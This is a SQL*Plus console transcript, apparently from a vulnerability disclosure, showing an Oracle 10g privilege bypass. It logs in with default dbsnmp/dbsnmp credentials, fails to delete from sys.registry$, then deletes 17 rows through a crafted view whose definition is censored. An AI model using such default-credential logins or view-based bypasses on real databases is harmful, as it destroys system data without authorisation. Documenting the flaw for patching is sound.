C:\>sqlplus dbsnmp/dbsnmp 

SQL*Plus: Release 10.1.0.4.0 - Production on Thu Apr 8 19:20:27 2006 

Copyright (c) 1982, 2005, Oracle. All rights reserved. 

Connected to: 

Oracle Database 10g Enterprise Edition Release 10.1.0.4.0
- Production With the Partitioning, OLAP and Data Mining options 

SQL> select * from v$version; 

BANNER 

Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 
- Prod PL/SQL Release 10.1.0.4.0 - Production 

CORE 10.1.0.4.0 Production 

TNS for 32-bit Windows: Version 10.1.0.4.0 
- Production NLSRTL Version 10.1.0.4.0 - Production 

SQL> -- 无法从数据词典删除数据（正常） 

SQL> delete from sys.registry$; 

delete from sys.registry$ 

* 

ERROR at line 1: 

ORA-01031: insufficient privileges 

SQL> -- 创建特制的自定义视图 

SQL> create or replace view e as select [...censored...]; 

View created. 

SQL> -- 通过视图丢弃数据!!! ==> 安全漏洞 !!! 

SQL> delete from e; 

17 rows deleted.